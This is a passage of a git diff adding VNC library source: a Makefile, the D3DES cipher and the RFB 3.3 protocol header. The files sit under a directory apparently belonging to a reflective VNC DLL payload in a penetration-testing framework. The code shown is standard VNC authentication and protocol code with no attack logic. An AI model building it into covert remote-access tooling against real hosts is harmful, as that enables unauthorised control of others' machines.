License, or +// (at your option) any later version. +// +// This software is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this software; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. + +#ifndef __RDR_TYPES_H__ +#define __RDR_TYPES_H__ + +namespace rdr { + + typedef unsigned char U8; + typedef unsigned short U16; + typedef unsigned int U32; + typedef signed char S8; + typedef signed short S16; + typedef signed int S32; + +} // end of namespace rdr + +#endif diff --git a/external/source/reflective_vncdll/rfb/Makefile.in b/external/source/reflective_vncdll/rfb/Makefile.in new file mode 100644 index 0000000000..671ad368e1 --- /dev/null +++ b/external/source/reflective_vncdll/rfb/Makefile.in @@ -0,0 +1,17 @@ + +SRCS = d3des.c vncauth.c + +OBJS = d3des.o vncauth.o + +DIR_CPPFLAGS = -I$(top_srcdir) + +library = librfb.a + +all:: $(library) + +$(library): $(OBJS) + rm -f $(library) + $(AR) $(library) $(OBJS) + $(RANLIB) $(library) + +# followed by boilerplate.mk diff --git a/external/source/reflective_vncdll/rfb/d3des.c b/external/source/reflective_vncdll/rfb/d3des.c new file mode 100644 index 0000000000..c2f0a48488 --- /dev/null +++ b/external/source/reflective_vncdll/rfb/d3des.c @@ -0,0 +1,434 @@ +/* + * This is D3DES (V5.09) by Richard Outerbridge with the double and + * triple-length support removed for use in VNC. Also the bytebit[] array + * has been reversed so that the most significant bit in each byte of the + * key is ignored, not the least significant. + * + * These changes are: + * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + */ + +/* D3DES (V5.09) - + * + * A portable, public domain, version of the Data Encryption Standard. + * + * Written with Symantec's THINK (Lightspeed) C by Richard Outerbridge. + * Thanks to: Dan Hoey for his excellent Initial and Inverse permutation + * code; Jim Gillogly & Phil Karn for the DES key schedule code; Dennis + * Ferguson, Eric Young and Dana How for comparing notes; and Ray Lau, + * for humouring me on. + * + * Copyright (c) 1988,1989,1990,1991,1992 by Richard Outerbridge. + * (GEnie : OUTER; CIS : [71755,204]) Graven Imagery, 1992. + */ + +#include "d3des.h" + +static void scrunch(unsigned char *, unsigned long *); +static void unscrun(unsigned long *, unsigned char *); +static void desfunc(unsigned long *, unsigned long *); +static void cookey(unsigned long *); + +static unsigned long KnL[32] = { 0L }; + +static unsigned short bytebit[8] = { + 01, 02, 04, 010, 020, 040, 0100, 0200 }; + +static unsigned long bigbyte[24] = { + 0x800000L, 0x400000L, 0x200000L, 0x100000L, + 0x80000L, 0x40000L, 0x20000L, 0x10000L, + 0x8000L, 0x4000L, 0x2000L, 0x1000L, + 0x800L, 0x400L, 0x200L, 0x100L, + 0x80L, 0x40L, 0x20L, 0x10L, + 0x8L, 0x4L, 0x2L, 0x1L }; + +/* Use the key schedule specified in the Standard (ANSI X3.92-1981). */ + +static unsigned char pc1[56] = { + 56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17, + 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, + 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, + 13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3 }; + +static unsigned char totrot[16] = { + 1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28 }; + +static unsigned char pc2[48] = { + 13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9, + 22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1, + 40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47, + 43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31 }; + +void deskey(key, edf) /* Thanks to James Gillogly & Phil Karn! */ +unsigned char *key; +int edf; +{ + register int i, j, l, m, n; + unsigned char pc1m[56], pcr[56]; + unsigned long kn[32]; + + for ( j = 0; j < 56; j++ ) { + l = pc1[j]; + m = l & 07; + pc1m[j] = (key[l >> 3] & bytebit[m]) ? 1 : 0; + } + for( i = 0; i < 16; i++ ) { + if( edf == DE1 ) m = (15 - i) << 1; + else m = i << 1; + n = m + 1; + kn[m] = kn[n] = 0L; + for( j = 0; j < 28; j++ ) { + l = j + totrot[i]; + if( l < 28 ) pcr[j] = pc1m[l]; + else pcr[j] = pc1m[l - 28]; + } + for( j = 28; j < 56; j++ ) { + l = j + totrot[i]; + if( l < 56 ) pcr[j] = pc1m[l]; + else pcr[j] = pc1m[l - 28]; + } + for( j = 0; j < 24; j++ ) { + if( pcr[pc2[j]] ) kn[m] |= bigbyte[j]; + if( pcr[pc2[j+24]] ) kn[n] |= bigbyte[j]; + } + } + cookey(kn); + return; + } + +static void cookey(raw1) +register unsigned long *raw1; +{ + register unsigned long *cook, *raw0; + unsigned long dough[32]; + register int i; + + cook = dough; + for( i = 0; i < 16; i++, raw1++ ) { + raw0 = raw1++; + *cook = (*raw0 & 0x00fc0000L) << 6; + *cook |= (*raw0 & 0x00000fc0L) << 10; + *cook |= (*raw1 & 0x00fc0000L) >> 10; + *cook++ |= (*raw1 & 0x00000fc0L) >> 6; + *cook = (*raw0 & 0x0003f000L) << 12; + *cook |= (*raw0 & 0x0000003fL) << 16; + *cook |= (*raw1 & 0x0003f000L) >> 4; + *cook++ |= (*raw1 & 0x0000003fL); + } + usekey(dough); + return; + } + +void cpkey(into) +register unsigned long *into; +{ + register unsigned long *from, *endp; + + from = KnL, endp = &KnL[32]; + while( from < endp ) *into++ = *from++; + return; + } + +void usekey(from) +register unsigned long *from; +{ + register unsigned long *to, *endp; + + to = KnL, endp = &KnL[32]; + while( to < endp ) *to++ = *from++; + return; + } + +void des(inblock, outblock) +unsigned char *inblock, *outblock; +{ + unsigned long work[2]; + + scrunch(inblock, work); + desfunc(work, KnL); + unscrun(work, outblock); + return; + } + +static void scrunch(outof, into) +register unsigned char *outof; +register unsigned long *into; +{ + *into = (*outof++ & 0xffL) << 24; + *into |= (*outof++ & 0xffL) << 16; + *into |= (*outof++ & 0xffL) << 8; + *into++ |= (*outof++ & 0xffL); + *into = (*outof++ & 0xffL) << 24; + *into |= (*outof++ & 0xffL) << 16; + *into |= (*outof++ & 0xffL) << 8; + *into |= (*outof & 0xffL); + return; + } + +static void unscrun(outof, into) +register unsigned long *outof; +register unsigned char *into; +{ + *into++ = (*outof >> 24) & 0xffL; + *into++ = (*outof >> 16) & 0xffL; + *into++ = (*outof >> 8) & 0xffL; + *into++ = *outof++ & 0xffL; + *into++ = (*outof >> 24) & 0xffL; + *into++ = (*outof >> 16) & 0xffL; + *into++ = (*outof >> 8) & 0xffL; + *into = *outof & 0xffL; + return; + } + +static unsigned long SP1[64] = { + 0x01010400L, 0x00000000L, 0x00010000L, 0x01010404L, + 0x01010004L, 0x00010404L, 0x00000004L, 0x00010000L, + 0x00000400L, 0x01010400L, 0x01010404L, 0x00000400L, + 0x01000404L, 0x01010004L, 0x01000000L, 0x00000004L, + 0x00000404L, 0x01000400L, 0x01000400L, 0x00010400L, + 0x00010400L, 0x01010000L, 0x01010000L, 0x01000404L, + 0x00010004L, 0x01000004L, 0x01000004L, 0x00010004L, + 0x00000000L, 0x00000404L, 0x00010404L, 0x01000000L, + 0x00010000L, 0x01010404L, 0x00000004L, 0x01010000L, + 0x01010400L, 0x01000000L, 0x01000000L, 0x00000400L, + 0x01010004L, 0x00010000L, 0x00010400L, 0x01000004L, + 0x00000400L, 0x00000004L, 0x01000404L, 0x00010404L, + 0x01010404L, 0x00010004L, 0x01010000L, 0x01000404L, + 0x01000004L, 0x00000404L, 0x00010404L, 0x01010400L, + 0x00000404L, 0x01000400L, 0x01000400L, 0x00000000L, + 0x00010004L, 0x00010400L, 0x00000000L, 0x01010004L }; + +static unsigned long SP2[64] = { + 0x80108020L, 0x80008000L, 0x00008000L, 0x00108020L, + 0x00100000L, 0x00000020L, 0x80100020L, 0x80008020L, + 0x80000020L, 0x80108020L, 0x80108000L, 0x80000000L, + 0x80008000L, 0x00100000L, 0x00000020L, 0x80100020L, + 0x00108000L, 0x00100020L, 0x80008020L, 0x00000000L, + 0x80000000L, 0x00008000L, 0x00108020L, 0x80100000L, + 0x00100020L, 0x80000020L, 0x00000000L, 0x00108000L, + 0x00008020L, 0x80108000L, 0x80100000L, 0x00008020L, + 0x00000000L, 0x00108020L, 0x80100020L, 0x00100000L, + 0x80008020L, 0x80100000L, 0x80108000L, 0x00008000L, + 0x80100000L, 0x80008000L, 0x00000020L, 0x80108020L, + 0x00108020L, 0x00000020L, 0x00008000L, 0x80000000L, + 0x00008020L, 0x80108000L, 0x00100000L, 0x80000020L, + 0x00100020L, 0x80008020L, 0x80000020L, 0x00100020L, + 0x00108000L, 0x00000000L, 0x80008000L, 0x00008020L, + 0x80000000L, 0x80100020L, 0x80108020L, 0x00108000L }; + +static unsigned long SP3[64] = { + 0x00000208L, 0x08020200L, 0x00000000L, 0x08020008L, + 0x08000200L, 0x00000000L, 0x00020208L, 0x08000200L, + 0x00020008L, 0x08000008L, 0x08000008L, 0x00020000L, + 0x08020208L, 0x00020008L, 0x08020000L, 0x00000208L, + 0x08000000L, 0x00000008L, 0x08020200L, 0x00000200L, + 0x00020200L, 0x08020000L, 0x08020008L, 0x00020208L, + 0x08000208L, 0x00020200L, 0x00020000L, 0x08000208L, + 0x00000008L, 0x08020208L, 0x00000200L, 0x08000000L, + 0x08020200L, 0x08000000L, 0x00020008L, 0x00000208L, + 0x00020000L, 0x08020200L, 0x08000200L, 0x00000000L, + 0x00000200L, 0x00020008L, 0x08020208L, 0x08000200L, + 0x08000008L, 0x00000200L, 0x00000000L, 0x08020008L, + 0x08000208L, 0x00020000L, 0x08000000L, 0x08020208L, + 0x00000008L, 0x00020208L, 0x00020200L, 0x08000008L, + 0x08020000L, 0x08000208L, 0x00000208L, 0x08020000L, + 0x00020208L, 0x00000008L, 0x08020008L, 0x00020200L }; + +static unsigned long SP4[64] = { + 0x00802001L, 0x00002081L, 0x00002081L, 0x00000080L, + 0x00802080L, 0x00800081L, 0x00800001L, 0x00002001L, + 0x00000000L, 0x00802000L, 0x00802000L, 0x00802081L, + 0x00000081L, 0x00000000L, 0x00800080L, 0x00800001L, + 0x00000001L, 0x00002000L, 0x00800000L, 0x00802001L, + 0x00000080L, 0x00800000L, 0x00002001L, 0x00002080L, + 0x00800081L, 0x00000001L, 0x00002080L, 0x00800080L, + 0x00002000L, 0x00802080L, 0x00802081L, 0x00000081L, + 0x00800080L, 0x00800001L, 0x00802000L, 0x00802081L, + 0x00000081L, 0x00000000L, 0x00000000L, 0x00802000L, + 0x00002080L, 0x00800080L, 0x00800081L, 0x00000001L, + 0x00802001L, 0x00002081L, 0x00002081L, 0x00000080L, + 0x00802081L, 0x00000081L, 0x00000001L, 0x00002000L, + 0x00800001L, 0x00002001L, 0x00802080L, 0x00800081L, + 0x00002001L, 0x00002080L, 0x00800000L, 0x00802001L, + 0x00000080L, 0x00800000L, 0x00002000L, 0x00802080L }; + +static unsigned long SP5[64] = { + 0x00000100L, 0x02080100L, 0x02080000L, 0x42000100L, + 0x00080000L, 0x00000100L, 0x40000000L, 0x02080000L, + 0x40080100L, 0x00080000L, 0x02000100L, 0x40080100L, + 0x42000100L, 0x42080000L, 0x00080100L, 0x40000000L, + 0x02000000L, 0x40080000L, 0x40080000L, 0x00000000L, + 0x40000100L, 0x42080100L, 0x42080100L, 0x02000100L, + 0x42080000L, 0x40000100L, 0x00000000L, 0x42000000L, + 0x02080100L, 0x02000000L, 0x42000000L, 0x00080100L, + 0x00080000L, 0x42000100L, 0x00000100L, 0x02000000L, + 0x40000000L, 0x02080000L, 0x42000100L, 0x40080100L, + 0x02000100L, 0x40000000L, 0x42080000L, 0x02080100L, + 0x40080100L, 0x00000100L, 0x02000000L, 0x42080000L, + 0x42080100L, 0x00080100L, 0x42000000L, 0x42080100L, + 0x02080000L, 0x00000000L, 0x40080000L, 0x42000000L, + 0x00080100L, 0x02000100L, 0x40000100L, 0x00080000L, + 0x00000000L, 0x40080000L, 0x02080100L, 0x40000100L }; + +static unsigned long SP6[64] = { + 0x20000010L, 0x20400000L, 0x00004000L, 0x20404010L, + 0x20400000L, 0x00000010L, 0x20404010L, 0x00400000L, + 0x20004000L, 0x00404010L, 0x00400000L, 0x20000010L, + 0x00400010L, 0x20004000L, 0x20000000L, 0x00004010L, + 0x00000000L, 0x00400010L, 0x20004010L, 0x00004000L, + 0x00404000L, 0x20004010L, 0x00000010L, 0x20400010L, + 0x20400010L, 0x00000000L, 0x00404010L, 0x20404000L, + 0x00004010L, 0x00404000L, 0x20404000L, 0x20000000L, + 0x20004000L, 0x00000010L, 0x20400010L, 0x00404000L, + 0x20404010L, 0x00400000L, 0x00004010L, 0x20000010L, + 0x00400000L, 0x20004000L, 0x20000000L, 0x00004010L, + 0x20000010L, 0x20404010L, 0x00404000L, 0x20400000L, + 0x00404010L, 0x20404000L, 0x00000000L, 0x20400010L, + 0x00000010L, 0x00004000L, 0x20400000L, 0x00404010L, + 0x00004000L, 0x00400010L, 0x20004010L, 0x00000000L, + 0x20404000L, 0x20000000L, 0x00400010L, 0x20004010L }; + +static unsigned long SP7[64] = { + 0x00200000L, 0x04200002L, 0x04000802L, 0x00000000L, + 0x00000800L, 0x04000802L, 0x00200802L, 0x04200800L, + 0x04200802L, 0x00200000L, 0x00000000L, 0x04000002L, + 0x00000002L, 0x04000000L, 0x04200002L, 0x00000802L, + 0x04000800L, 0x00200802L, 0x00200002L, 0x04000800L, + 0x04000002L, 0x04200000L, 0x04200800L, 0x00200002L, + 0x04200000L, 0x00000800L, 0x00000802L, 0x04200802L, + 0x00200800L, 0x00000002L, 0x04000000L, 0x00200800L, + 0x04000000L, 0x00200800L, 0x00200000L, 0x04000802L, + 0x04000802L, 0x04200002L, 0x04200002L, 0x00000002L, + 0x00200002L, 0x04000000L, 0x04000800L, 0x00200000L, + 0x04200800L, 0x00000802L, 0x00200802L, 0x04200800L, + 0x00000802L, 0x04000002L, 0x04200802L, 0x04200000L, + 0x00200800L, 0x00000000L, 0x00000002L, 0x04200802L, + 0x00000000L, 0x00200802L, 0x04200000L, 0x00000800L, + 0x04000002L, 0x04000800L, 0x00000800L, 0x00200002L }; + +static unsigned long SP8[64] = { + 0x10001040L, 0x00001000L, 0x00040000L, 0x10041040L, + 0x10000000L, 0x10001040L, 0x00000040L, 0x10000000L, + 0x00040040L, 0x10040000L, 0x10041040L, 0x00041000L, + 0x10041000L, 0x00041040L, 0x00001000L, 0x00000040L, + 0x10040000L, 0x10000040L, 0x10001000L, 0x00001040L, + 0x00041000L, 0x00040040L, 0x10040040L, 0x10041000L, + 0x00001040L, 0x00000000L, 0x00000000L, 0x10040040L, + 0x10000040L, 0x10001000L, 0x00041040L, 0x00040000L, + 0x00041040L, 0x00040000L, 0x10041000L, 0x00001000L, + 0x00000040L, 0x10040040L, 0x00001000L, 0x00041040L, + 0x10001000L, 0x00000040L, 0x10000040L, 0x10040000L, + 0x10040040L, 0x10000000L, 0x00040000L, 0x10001040L, + 0x00000000L, 0x10041040L, 0x00040040L, 0x10000040L, + 0x10040000L, 0x10001000L, 0x10001040L, 0x00000000L, + 0x10041040L, 0x00041000L, 0x00041000L, 0x00001040L, + 0x00001040L, 0x00040040L, 0x10000000L, 0x10041000L }; + +static void desfunc(block, keys) +register unsigned long *block, *keys; +{ + register unsigned long fval, work, right, leftt; + register int round; + + leftt = block[0]; + right = block[1]; + work = ((leftt >> 4) ^ right) & 0x0f0f0f0fL; + right ^= work; + leftt ^= (work << 4); + work = ((leftt >> 16) ^ right) & 0x0000ffffL; + right ^= work; + leftt ^= (work << 16); + work = ((right >> 2) ^ leftt) & 0x33333333L; + leftt ^= work; + right ^= (work << 2); + work = ((right >> 8) ^ leftt) & 0x00ff00ffL; + leftt ^= work; + right ^= (work << 8); + right = ((right << 1) | ((right >> 31) & 1L)) & 0xffffffffL; + work = (leftt ^ right) & 0xaaaaaaaaL; + leftt ^= work; + right ^= work; + leftt = ((leftt << 1) | ((leftt >> 31) & 1L)) & 0xffffffffL; + + for( round = 0; round < 8; round++ ) { + work = (right << 28) | (right >> 4); + work ^= *keys++; + fval = SP7[ work & 0x3fL]; + fval |= SP5[(work >> 8) & 0x3fL]; + fval |= SP3[(work >> 16) & 0x3fL]; + fval |= SP1[(work >> 24) & 0x3fL]; + work = right ^ *keys++; + fval |= SP8[ work & 0x3fL]; + fval |= SP6[(work >> 8) & 0x3fL]; + fval |= SP4[(work >> 16) & 0x3fL]; + fval |= SP2[(work >> 24) & 0x3fL]; + leftt ^= fval; + work = (leftt << 28) | (leftt >> 4); + work ^= *keys++; + fval = SP7[ work & 0x3fL]; + fval |= SP5[(work >> 8) & 0x3fL]; + fval |= SP3[(work >> 16) & 0x3fL]; + fval |= SP1[(work >> 24) & 0x3fL]; + work = leftt ^ *keys++; + fval |= SP8[ work & 0x3fL]; + fval |= SP6[(work >> 8) & 0x3fL]; + fval |= SP4[(work >> 16) & 0x3fL]; + fval |= SP2[(work >> 24) & 0x3fL]; + right ^= fval; + } + + right = (right << 31) | (right >> 1); + work = (leftt ^ right) & 0xaaaaaaaaL; + leftt ^= work; + right ^= work; + leftt = (leftt << 31) | (leftt >> 1); + work = ((leftt >> 8) ^ right) & 0x00ff00ffL; + right ^= work; + leftt ^= (work << 8); + work = ((leftt >> 2) ^ right) & 0x33333333L; + right ^= work; + leftt ^= (work << 2); + work = ((right >> 16) ^ leftt) & 0x0000ffffL; + leftt ^= work; + right ^= (work << 16); + work = ((right >> 4) ^ leftt) & 0x0f0f0f0fL; + leftt ^= work; + right ^= (work << 4); + *block++ = right; + *block = leftt; + return; + } + +/* Validation sets: + * + * Single-length key, single-length plaintext - + * Key : 0123 4567 89ab cdef + * Plain : 0123 4567 89ab cde7 + * Cipher : c957 4425 6a5e d31d + * + * Double-length key, single-length plaintext - + * Key : 0123 4567 89ab cdef fedc ba98 7654 3210 + * Plain : 0123 4567 89ab cde7 + * Cipher : 7f1d 0a77 826b 8aff + * + * Double-length key, double-length plaintext - + * Key : 0123 4567 89ab cdef fedc ba98 7654 3210 + * Plain : 0123 4567 89ab cdef 0123 4567 89ab cdff + * Cipher : 27a0 8440 406a df60 278f 47cf 42d6 15d7 + * + * Triple-length key, single-length plaintext - + * Key : 0123 4567 89ab cdef fedc ba98 7654 3210 89ab cdef 0123 4567 + * Plain : 0123 4567 89ab cde7 + * Cipher : de0b 7c06 ae5e 0ed5 + * + * Triple-length key, double-length plaintext - + * Key : 0123 4567 89ab cdef fedc ba98 7654 3210 89ab cdef 0123 4567 + * Plain : 0123 4567 89ab cdef 0123 4567 89ab cdff + * Cipher : ad0d 1b30 ac17 cf07 0ed1 1c63 81e4 4de5 + * + * d3des V5.0a rwo 9208.07 18:44 Graven Imagery + **********************************************************************/ diff --git a/external/source/reflective_vncdll/rfb/d3des.h b/external/source/reflective_vncdll/rfb/d3des.h new file mode 100644 index 0000000000..3d0dc5bda7 --- /dev/null +++ b/external/source/reflective_vncdll/rfb/d3des.h @@ -0,0 +1,51 @@ +/* + * This is D3DES (V5.09) by Richard Outerbridge with the double and + * triple-length support removed for use in VNC. + * + * These changes are: + * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + */ + +/* d3des.h - + * + * Headers and defines for d3des.c + * Graven Imagery, 1992. + * + * Copyright (c) 1988,1989,1990,1991,1992 by Richard Outerbridge + * (GEnie : OUTER; CIS : [71755,204]) + */ + +#define EN0 0 /* MODE == encrypt */ +#define DE1 1 /* MODE == decrypt */ + +extern void deskey(unsigned char *, int); +/* hexkey[8] MODE + * Sets the internal key register according to the hexadecimal + * key contained in the 8 bytes of hexkey, according to the DES, + * for encryption or decryption according to MODE. + */ + +extern void usekey(unsigned long *); +/* cookedkey[32] + * Loads the internal key register with the data in cookedkey. + */ + +extern void cpkey(unsigned long *); +/* cookedkey[32] + * Copies the contents of the internal key register into the storage + * located at &cookedkey[0]. + */ + +extern void des(unsigned char *, unsigned char *); +/* from[8] to[8] + * Encrypts/Decrypts (according to the key currently loaded in the + * internal key register) one block of eight bytes at address 'from' + * into the block at address 'to'. They can be the same. + */ + +/* d3des.h V5.09 rwo 9208.04 15:06 Graven Imagery + ********************************************************************/ diff --git a/external/source/reflective_vncdll/rfb/rfbproto.h b/external/source/reflective_vncdll/rfb/rfbproto.h new file mode 100644 index 0000000000..7cefd6e4ba --- /dev/null +++ b/external/source/reflective_vncdll/rfb/rfbproto.h @@ -0,0 +1,692 @@ +/* + * Copyright (C) 2002 RealVNC Ltd. All Rights Reserved. + * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +/* + * rfbproto.h - header file for the RFB protocol version 3.3 + * + * Uses types CARD for an n-bit unsigned integer, INT for an n-bit signed + * integer (for n = 8, 16 and 32). + * + * All multiple byte integers are in big endian (network) order (most + * significant byte first). Unless noted otherwise there is no special + * alignment of protocol structures. + * + * + * Once the initial handshaking is done, all messages start with a type byte, + * (usually) followed by message-specific data. The order of definitions in + * this file is as follows: + * + * (1) Structures used in several types of message. + * (2) Structures used in the initial handshaking. + * (3) Message types. + * (4) Encoding types. + * (5) For each message type, the form of the data following the type byte. + * Sometimes this is defined by a single structure but the more complex + * messages have to be explained by comments. + */ + + +/***************************************************************************** + * + * Structures used in several messages + * + *****************************************************************************/ + +/*----------------------------------------------------------------------------- + * Structure used to specify a rectangle. This structure is a multiple of 4 + * bytes so that it can be interspersed with 32-bit pixel data without + * affecting alignment. + */ + +typedef struct { + CARD16 x; + CARD16 y; + CARD16 w; + CARD16 h; +} rfbRectangle; + +#define sz_rfbRectangle 8 + + +/*----------------------------------------------------------------------------- + * Structure used to specify pixel format. + */ + +typedef struct { + + CARD8 bitsPerPixel; /* 8,16,32 only */ + + CARD8 depth; /* 8 to 32 */ + + CARD8 bigEndian; /* True if multi-byte pixels are interpreted + as big endian, or if single-bit-per-pixel + has most significant bit of the byte + corresponding to first (leftmost) pixel. Of + course this is meaningless for 8 bits/pix */ + + CARD8 trueColour; /* If false then we need a "colour map" to + convert pixels to RGB. If true, xxxMax and + xxxShift specify bits used for red, green + and blue */ + + /* the following fields are only meaningful if trueColour is true */ + + CARD16 redMax; /* maximum red value (= 2^n - 1 where n is the + number of bits used for red). Note this + value is always in big endian order. */ + + CARD16 greenMax; /* similar for green */ + + CARD16 blueMax; /* and blue */ + + CARD8 redShift; /* number of shifts needed to get the red + value in a pixel to the least significant + bit. To find the red value from a given + pixel, do the following: + 1) Swap pixel value according to bigEndian + (e.g. if bigEndian is false and host byte + order is big endian, then swap). + 2) Shift right by redShift. + 3) AND with redMax (in host byte order). + 4) You now have the red value between 0 and + redMax. */ + + CARD8 greenShift; /* similar for green */ + + CARD8 blueShift; /* and blue */ + + CARD8 pad1; + CARD16 pad2; + +} rfbPixelFormat; + +#define sz_rfbPixelFormat 16 + + + +/***************************************************************************** + * + * Initial handshaking messages + * + *****************************************************************************/ + +/*----------------------------------------------------------------------------- + * Protocol Version + * + * The server always sends 12 bytes to start which identifies the latest RFB + * protocol version number which it supports. These bytes are interpreted + * as a string of 12 ASCII characters in the format "RFB xxx.yyy\n" where + * xxx and yyy are the major and minor version numbers (for version 3.3 + * this is "RFB 003.003\n"). + * + * The client then replies with a similar 12-byte message giving the version + * number of the protocol which should actually be used (which may be different + * to that quoted by the server). + * + * It is intended that both clients and servers may provide some level of + * backwards compatibility by this mechanism. Servers in particular should + * attempt to provide backwards compatibility, and even forwards compatibility + * to some extent. For example if a client demands version 3.1 of the + * protocol, a 3.0 server can probably assume that by ignoring requests for + * encoding types it doesn't understand, everything will still work OK. This + * will probably not be the case for changes in the major version number. + * + * The format string below can be used in sprintf or sscanf to generate or + * decode the version string respectively. + */ + +#define rfbProtocolVersionFormat "RFB %03d.%03d\n" +#define rfbProtocolMajorVersion 3 +#define rfbProtocolMinorVersion 3 + +typedef char rfbProtocolVersionMsg[13]; /* allow extra byte for null */ + +#define sz_rfbProtocolVersionMsg 12 + + +/*----------------------------------------------------------------------------- + * Authentication + * + * Once the protocol version has been decided, the server then sends a 32-bit + * word indicating whether any authentication is needed on the connection. + * The value of this word determines the authentication scheme in use. For + * version 3.0 of the protocol this may have one of the following values: + */ + +#define rfbConnFailed 0 +#define rfbNoAuth 1 +#define rfbVncAuth 2 + +/* + * rfbConnFailed: For some reason the connection failed (e.g. the server + * cannot support the desired protocol version). This is + * followed by a string describing the reason (where a + * string is specified as a 32-bit length followed by that + * many ASCII characters). + * + * rfbNoAuth: No authentication is needed. + * + * rfbVncAuth: The VNC authentication scheme is to be used. A 16-byte + * challenge follows, which the client encrypts as + * appropriate using the password and sends the resulting + * 16-byte response. If the response is correct, the + * server sends the 32-bit word rfbVncAuthOK. If a simple + * failure happens, the server sends rfbVncAuthFailed and + * closes the connection. If the server decides that too + * many failures have occurred, it sends rfbVncAuthTooMany + * and closes the connection. In the latter case, the + * server should not allow an immediate reconnection by + * the client. + */ + +#define rfbVncAuthOK 0 +#define rfbVncAuthFailed 1 +#define rfbVncAuthTooMany 2 + + +/*----------------------------------------------------------------------------- + * Client Initialisation Message + * + * Once the client and server are sure that they're happy to talk to one + * another, the client sends an initialisation message. At present this + * message only consists of a boolean indicating whether the server should try + * to share the desktop by leaving other clients connected, or give exclusive + * access to this client by disconnecting all other clients. + */ + +typedef struct { + CARD8 shared; +} rfbClientInitMsg; + +#define sz_rfbClientInitMsg 1 + + +/*----------------------------------------------------------------------------- + * Server Initialisation Message + * + * After the client initialisation message, the server sends one of its own. + * This tells the client the width and height of the server's framebuffer, + * its pixel format and the name associated with the desktop. + */ + +typedef struct { + CARD16 framebufferWidth; + CARD16 framebufferHeight; + rfbPixelFormat format; /* the server's preferred pixel format */ + CARD32 nameLength; + /* followed by char name[nameLength] */ +} rfbServerInitMsg; + +#define sz_rfbServerInitMsg (8 + sz_rfbPixelFormat) + + +/* + * Following the server initialisation message it's up to the client to send + * whichever protocol messages it wants. Typically it will send a + * SetPixelFormat message and a SetEncodings message, followed by a + * FramebufferUpdateRequest. From then on the server will send + * FramebufferUpdate messages in response to the client's + * FramebufferUpdateRequest messages. The client should send + * FramebufferUpdateRequest messages with incremental set to true when it has + * finished processing one FramebufferUpdate and is ready to process another. + * With a fast client, the rate at which FramebufferUpdateRequests are sent + * should be regulated to avoid hogging the network. + */ + + + +/***************************************************************************** + * + * Message types + * + *****************************************************************************/ + +/* server -> client */ + +#define rfbFramebufferUpdate 0 +#define rfbSetColourMapEntries 1 +#define rfbBell 2 +#define rfbServerCutText 3 + + +/* client -> server */ + +#define rfbSetPixelFormat 0 +#define rfbFixColourMapEntries 1 /* not currently supported */ +#define rfbSetEncodings 2 +#define rfbFramebufferUpdateRequest 3 +#define rfbKeyEvent 4 +#define rfbPointerEvent 5 +#define rfbClientCutText 6 + + + + +/***************************************************************************** + * + * Encoding types + * + *****************************************************************************/ + +#define rfbEncodingRaw 0 +#define rfbEncodingCopyRect 1 +#define rfbEncodingRRE 2 +#define rfbEncodingCoRRE 4 +#define rfbEncodingHextile 5 +#define rfbEncodingZRLE 16 + + + +/***************************************************************************** + * + * Server -> client message definitions + * + *****************************************************************************/ + + +/*----------------------------------------------------------------------------- + * FramebufferUpdate - a block of rectangles to be copied to the framebuffer. + * + * This message consists of a header giving the number of rectangles of pixel + * data followed by the rectangles themselves. The header is padded so that + * together with the type byte it is an exact multiple of 4 bytes (to help + * with alignment of 32-bit pixels): + */ + +typedef struct { + CARD8 type; /* always rfbFramebufferUpdate */ + CARD8 pad; + CARD16 nRects; + /* followed by nRects rectangles */ +} rfbFramebufferUpdateMsg; + +#define sz_rfbFramebufferUpdateMsg 4 + +/* + * Each rectangle of pixel data consists of a header describing the position + * and size of the rectangle and a type word describing the encoding of the + * pixel data, followed finally by the pixel data. Note that if the client has + * not sent a SetEncodings message then it will only receive raw pixel data. + * Also note again that this structure is a multiple of 4 bytes. + */ + +typedef struct { + rfbRectangle r; + CARD32 encoding; /* one of the encoding types rfbEncoding... */ +} rfbFramebufferUpdateRectHeader; + +#define sz_rfbFramebufferUpdateRectHeader (sz_rfbRectangle + 4) + + +/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + * Raw Encoding. Pixels are sent in top-to-bottom scanline order, + * left-to-right within a scanline with no padding in between. + */ + + +/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + * CopyRect Encoding. The pixels are specified simply by the x and y position + * of the source rectangle. + */ + +typedef struct { + CARD16 srcX; + CARD16 srcY; +} rfbCopyRect; + +#define sz_rfbCopyRect 4 + + +/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + * RRE - Rise-and-Run-length Encoding. We have an rfbRREHeader structure + * giving the number of subrectangles following. Finally the data follows in + * the form [...] where each is + 